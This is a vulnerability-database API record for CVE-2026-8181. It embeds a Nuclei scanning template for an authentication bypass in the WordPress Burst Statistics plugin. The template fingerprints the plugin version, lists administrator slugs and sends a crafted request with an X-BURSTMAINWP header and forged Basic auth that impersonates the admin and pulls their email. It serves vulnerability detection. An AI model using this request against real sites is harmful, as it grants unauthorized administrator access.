{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-8181/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-8181/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-8181/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-8181/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-8181/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-8181"},"sightings":{"href":"/api/v1/sightings/cve-2026-8181"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-8181.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-8181\n\ninfo:\n  name: WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n  impact: |\n    Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.\n  remediation: |\n    Update to a version later than 3.4.1.1 or the latest available version.\n  reference:\n    - https://github.com/murrez/CVE-2026-8181\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8181\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-8181\n    epss-score: 0.14608\n    epss-percentile: 0.96665\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: really-simple-plugins\n    product: burst-statistics\n    publicwww-query: \"/wp-content/plugins/burst-statistics/\"\n  tags: cve,cve2026,wp,wp-plugin,wordpress,burst-statistics,auth-bypass,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(to_lower(body), \"burst statistics\")'\n          - 'compare_versions(version, \">= 3.4.0\", \"<= 3.4.1.1\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([\\w.]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/wp/v2/users\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"slug\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: admin_user\n        part: body\n        group: 1\n        regex:\n          - '\"slug\":\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/wp/v2/users/me?context=edit HTTP/1.1\n        Host: {{Hostname}}\n        X-BURSTMAINWP: 1\n        Authorization: Basic {{base64(admin_user + ':x')}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"id\\\"\", \"\\\"email\\\"\", \"\\\"roles\\\"\", \"\\\"administrator\\\"\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n\n    extractors:\n      - type: json\n        part: body\n        json:\n          - '.email'\n# digest: 4a0a0047304502207a24517b5e1ee1f0206f90624e19c318acd0ed6641dd4161ed2fa2c60a81e816022100b99e6f308ff34081b315e996c2ea3491e18ef586ad53ed674e312d27c7e87a4b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-8181"}